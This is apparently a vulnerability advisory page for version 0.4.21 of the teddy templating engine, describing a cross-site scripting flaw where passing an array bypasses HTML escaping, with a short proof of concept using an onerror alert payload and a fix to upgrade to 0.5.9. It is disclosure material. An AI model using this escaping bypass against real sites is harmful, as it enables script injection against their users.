teddy@0.4.21 vulnerabilities

Teddy Templating Engine

  • latest version

    0.6.19

  • latest non vulnerable version

  • first published

    11 years ago

  • latest version published

    29 days ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the teddy package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Cross-site Scripting (XSS)

    teddy is a The most readable and easy to learn templating language there is!

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS). A type confusion vulnerability can be used to bypass input sanitization when the model content is an array (instead of a string).

    PoC

    const teddy = require("teddy")
    
    let r1 = teddy.render("<p>{escapeTest}</p>", {escapeTest: "<img src=x onerror='alert(1)' />"})
    console.log(r1); // <p>&lt;img src=x onerror=&#39;alert(1)&#39; /&gt;</p>
    
    let r2 = teddy.render("<p>{escapeTest}</p>", {escapeTest: ["<img src=x onerror='alert(1)' />"]})
    console.log(r2) // <p><img src=x onerror='alert(1)' /></p>
    

    How to fix Cross-site Scripting (XSS)?

    Upgrade teddy to version 0.5.9 or higher.

    <0.5.9